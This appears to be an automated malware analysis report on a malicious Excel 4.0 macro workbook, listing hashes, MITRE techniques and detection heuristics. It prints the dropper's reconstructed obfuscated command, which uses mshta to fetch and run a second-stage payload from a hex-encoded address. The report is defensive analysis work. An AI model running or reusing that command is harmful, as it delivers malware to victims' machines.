Office (OLE) / .XLS malware analysis — malicious · c951cede0f0f3102

MALICIOUS

Office (OLE) / .XLS

65.8 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: aa8eab1f3457fa7fdad0ed98c5e0123d SHA-1: a74f0c984c8dbfd009c855a14a76d9745f6be802 SHA-256: c951cede0f0f31025bb1daaf3a1fa1fe9b471c71121e25c338cb2b8e4c48c1d5

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File T1059.005 Service Execution: Visual Basic

The sample is an Excel 4.0 macro sheet (XLM) that uses an Auto_Open function to execute a command. The document body contains a lure instructing the user to enable editing and content. The extracted macro script reconstructs the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', indicating that the macro's intent is to download a second-stage payload from the specified URL. The obfuscation in the command string suggests an attempt to evade detection.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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